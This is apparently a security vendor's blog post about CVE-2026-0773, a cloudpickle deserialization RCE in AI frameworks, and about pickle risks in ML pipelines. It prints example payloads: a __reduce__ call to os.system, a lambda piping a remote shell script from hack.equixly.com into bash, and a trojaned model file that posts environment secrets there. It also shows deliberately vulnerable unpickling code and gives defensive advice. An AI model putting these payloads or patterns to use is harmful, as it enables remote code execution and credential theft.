Can AI identify 0-days?
Abstract
As AI frameworks proliferate across the development landscape, a dangerous assumption persists: AI tools built by AI companies are inherently secure.
Challenging this perception, Equixly recently contributed to the discovery of CVE-2026-0773 — a critical remote code execution (RCE) vulnerability with a CVSS score of 9.8. The flaw stems from the deserialization of untrusted data via cloudpickle, a foundational library utilized by the very AI frameworks relied upon by industry leaders.
This discovery is the latest in a series of our proofs of concept, extending our track record of bounty program research with Microsoft, OpenAI, and other prominent tech companies.
CVE-2026-0773 is not an XSS or a minor information disclosure. It is an unauthenticated remote code execution flaw — the most severe class of vulnerability — hiding in plain sight within AI infrastructure. Rather than detailing the specifics of this vulnerability (already covered in the ZDI advisory), this article aims to:
- Raise awareness of the systemic risks of unsafe deserialization in AI frameworks.
- Substantiate why pickle-based attacks represent dangerously underestimated threats in modern ML infrastructure.
How Equixly’s AI found the 0-day
CVE-2026-0773 was not found by manual code review or a lucky fuzzer. Equixly’s AI agent identified the vulnerability autonomously during routine API security testing. Below is the methodology behind the discovery.
Phase 1: Autonomous API exploration
Equixly’s agent began by mapping the target’s API surface. Unlike traditional scanners that rely on predefined endpoint lists, our AI autonomously explores APIs by:
- Analyzing OpenAPI specifications.
- Observing response patterns.
- Inferring hidden endpoints from naming conventions and error messages.
Phase 2: Intelligent operation sequencing
Finding an endpoint is just the beginning. The real challenge is understanding how to interact with it in a way that reveals vulnerabilities.
Equixly’s proprietary algorithm generates operation sequences in the correct order, respecting authentication flows, dependency chains, and state requirements. For this specific target, the agent recognized that the endpoint accepted binary data and did not require prior authentication — an unusual and potentially dangerous combination.
Then, it systematically tested the endpoint’s behavior, answering key questions, such as:
- What content types does the API endpoint accept?
- How does it handle malformed input?
- What error messages does it return?
Phase 3: Context-Aware Input Generation
This step is where Equixly’s approach diverges from traditional fuzzers.
Instead of spraying random payloads, our AI generates context-aware inputs based on what it learns from the application’s responses and other features. When the agent sent malformed binary data to the endpoint, the error response contained a critical clue:
UnpicklingError: invalid load key
This single error message told the AI agent everything it needed to know: the endpoint was deserializing pickle data. The AI’s reasoning engine immediately connected this behavior to a high-severity remote code execution path.
Phase 4: Attack vector identification
With the deserialization sink identified, Equixly’s agent shifted to validating exploitation. The AI understands that pickle deserialization in Python is equivalent to arbitrary code execution; it knows that the __reduce__ attack pattern and can generate proof-of-concept payloads.
Consequently, the agent crafted a cloudpickle payload that triggered an observable side effect (such as a DNS lookup or an HTTP callback), confirming that code execution was achievable.
Why this matters
Traditional DAST tools would likely miss this vulnerability altogether. Why? For at least three reasons:
- No signature match: This was neither a previously known CVE nor a documented vulnerability pattern.
- Binary protocol: Most scanners focus on JSON/XML injection instead of binary deserialization.
- Contextual understanding: The agent recognized that the presence of cloudpickle in an AI framework context implied RCE, as it was designed to make context-aware inferences — a capability absent from traditional DAST solutions.
In short, Equixly’s agentic approach (explore, sequence, generate context-aware inputs, and identify attack patterns) found a critical 0-day that would have evaded conventional security testing.
The pickle problem: Code disguised as data
Python’s pickle module is the default serialization mechanism for most ML frameworks. It is convenient, fast, and can serialize almost any Python object. It is also fundamentally insecure by design.
The Python documentation itself warns:
“Warning: The pickle module is not secure. Only unpickle data you trust. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling.”
Yet, vibe coding and AI code assistants (trained on existing codebases) continue to generate pickle for model serialization, tool loading, and inter-process communication, often without any validation of the source.
How pickle becomes a remote code execution vulnerability
The attack vector is Python’s __reduce__ method. During deserialization, pickle calls this method to reconstruct objects, but an attacker can craft payloads where __reduce__ returns arbitrary callables:
import pickle
import os
class MaliciousPayload:
def __reduce__(self):
# __reduce__ is called during unpickling
# returns a callable and its arguments
return (os.system, ('id; whoami',))
payload = pickle.dumps(MaliciousPayload())
# when unpickled anywhere:
# pickle.loads(payload) # executes: id; whoami
Cloudpickle extends this attack surface by supporting serialization of lambdas, closures, and dynamically defined functions:
import cloudpickle
# cloudpickle can serialize executable lambdas
malicious = lambda: __import__('os').system('curl hack.equixly.com/shell.sh | bash')
payload = cloudpickle.dumps(malicious)
# deserializing and calling executes the payload
# func = cloudpickle.loads(payload)
# func() # RCE achieved
This is not a bug: it is pickle working as designed. The problem is developers treating serialized data as safe when, in reality, it is executable code.
A growing list of pickle-based CVEs
CVE-2026-0773 is far from an isolated incident. The AI/ML ecosystem has seen a steady stream of pickle deserialization vulnerabilities:
- PyTorch: CVE-2025-32434 — PyTorch’s torch.load() with weights_only=True could still be exploited to achieve arbitrary code execution. The “safe” mode was not safe at all.
- Ray: CVE-2023-6019, CVE-2023-6020, CVE-2023-6021 — Anyscale’s Ray framework had multiple critical vulnerabilities allowing unauthenticated remote code execution through its API endpoints.
- Hugging Face transformers — — Researchers have demonstrated that malicious models uploaded to the Hugging Face Hub can execute code when loaded, prompting the creation of security scanning features.
These vulnerabilities share a common pattern: developers assuming that data received from “trusted” sources (model repositories, internal APIs, configuration files, etc.) is safe to deserialize.
Attack vectors in the wild
This security risk often translates into practical attack scenarios that security teams typically overlook.
Malicious model files
Model files (.pt, .pkl, .joblib) are executable code. Anyone who can supply a model file to your pipeline can achieve code execution:
# example: a "helpful" pretrained model that exfiltrates credentials
import pickle
import os
class TrojanedModel:
def __init__(self):
self.weights = [0.1, 0.2, 0.3] # looks like a real model
def __reduce__(self):
# runs silently when model is loaded
cmd = 'curl -X POST hack.equixly.com/exfil -d "$(env | base64)"'
return (os.system, (cmd,))
# attacker saves this as "state_of_the_art_model.pkl"
with open('state_of_the_art_model.pkl', 'wb') as f:
pickle.dump(TrojanedModel(), f)
The victim downloads the model, loads it with pickle.load() or torch.load(), and the attacker receives their environment variables (AWS keys, database credentials, or API tokens).
Supply chain poisoning
ML pipelines often cache intermediate results (embeddings, preprocessed data, trained models) to avoid recomputation. If an attacker can write to these caches, they own your pipeline:
# vulnerable pattern: loading cached embeddings
def get_embeddings(text, cache_dir='/shared/embeddings'):
cache_file = os.path.join(cache_dir, hash(text) + '.pkl')
if os.path.exists(cache_file):
with open(cache_file, 'rb') as f:
return pickle.load(f) # RCE if cache is poisoned
# compute and cache embeddings...
Common ways attackers reach these caches include:
- Compromised CI/CD
- Overly permissive S3 buckets
- Shared NFS mounts
- Dependency confusion
Internal API exploitation
Many ML systems expose internal APIs for model serving, tool registration, or distributed computing. These often accept serialized objects for “flexibility”:
# dangerous pattern seen in ML frameworks
@app.route('/register_processor', methods=['POST'])
def register_processor():
# accepts arbitrary pickled objects - RCE waiting to happen
processor = pickle.loads(request.data)
processors.append(processor)
return {'status': 'registered'}
If this endpoint is exposed (even internally), any attacker with network access can achieve code execution.
Why safe alternatives are not sufficient (yet)
The ML community has developed safer serialization formats, such as safetensors, which store only tensor data without executable code.
For readers less familiar with machine learning: a tensor is simply a multi-dimensional array of numbers. Think of it as a generalization of matrices:
- A single number is a 0-dimensional tensor (scalar)
- A list of numbers is a 1-dimensional tensor (vector)
- A table of numbers is a 2-dimensional tensor (matrix)
- A cube of numbers is a 3-dimensional tensor
Neural networks are massive collections of tensors — millions or billions of numbers representing the weights that the model learned during training. These weights are what make a model capable of recognizing images, generating text, or making predictions.
The key insight is that tensor data is just numbers. It is inert. You cannot execute a floating-point number. And that is precisely what makes formats like safetensors secure. They store only the numerical weights, not arbitrary Python objects that can contain executable code.
# safe: only loads numerical data
from safetensors import safe_open
with safe_open("model.safetensors", framework="pt") as f:
weights = f.get_tensor("layer.weight") # just numbers, no code execution
However, safetensors have limitations:
- Tensor-only scope: Model architectures, custom layers, optimizers, and training states still often require pickle because they contain Python objects, not just numbers.
- Ecosystem fragmentation: Not all frameworks support safetensors natively.
- Legacy codebases: Millions of existing models use pickle-based formats.
Until the ecosystem provides safe alternatives for all serialization needs, pickle will remain embedded in ML infrastructure.
Defensive strategies
For teams that, for some reason, must continue using pickle, the following mitigations reduce (but do not eliminate) security risk by treating all serialized data as untrusted and requiring cryptographic signing for all files.
| Use Case | Unsafe | Safer Alternative |
|---|---|---|
| Model weights | .pt, .pkl |
safetensors, ONNX |
| Configuration | pickle | JSON, YAML, TOML |
| Caching | pickle | JSON + explicit reconstruction |
| IPC | pickle | Protocol Buffers, MessagePack |
Where possible, consider eliminating pickle entirely and migrating to safer formats.
Conclusion
Can AI identify 0-days? Yes, and CVE-2026-0773 proves it.
Equixly’s agentic approach to security testing found a critical vulnerability that traditional tools typically miss. By autonomously exploring APIs, intelligently sequencing operations, generating context-aware inputs, and recognizing attack patterns from subtle clues such as error messages, our AI uncovered an unauthenticated RCE in production AI infrastructure.
Pickle deserialization vulnerabilities are nothing new. Security researchers have been warning about them for over a decade. Yet, they continue to appear in production AI systems because:
- Convenience trumps security: Pickle is easy; safe alternatives require more work.
- AI exceptionalism: Teams assume ML code does not require the same level of scrutiny as web applications.
- Supply chain blindness: Model files are treated as data when they are actually code.
The question is not whether your ML pipeline has deserialization vulnerabilities; it is whether you find them before attackers do.
Contact our team to learn how Equixly identifies critical vulnerabilities before they reach production. Don’t wait for your AI infrastructure to become a 0-day headline.
Alessio Dalla Piazza
CTO & FOUNDER
Former Founder & CTO of CYS4, he embarked on active digital surveillance work in 2014, collaborating with global and local law enforcement to combat terrorism and organized crime. He designed and utilized advanced eavesdropping technologies, identifying Zero-days in products like Skype, VMware, Safari, Docker, and IBM WebSphere. In June 2016, he transitioned to a research role at an international firm, where he crafted tools for automated offensive security and vulnerability detection. He discovered multiple vulnerabilities that, if exploited, would grant complete control. His expertise served the banking, insurance, and industrial sectors through Red Team operations, Incident Management, and Advanced Training, enhancing client security.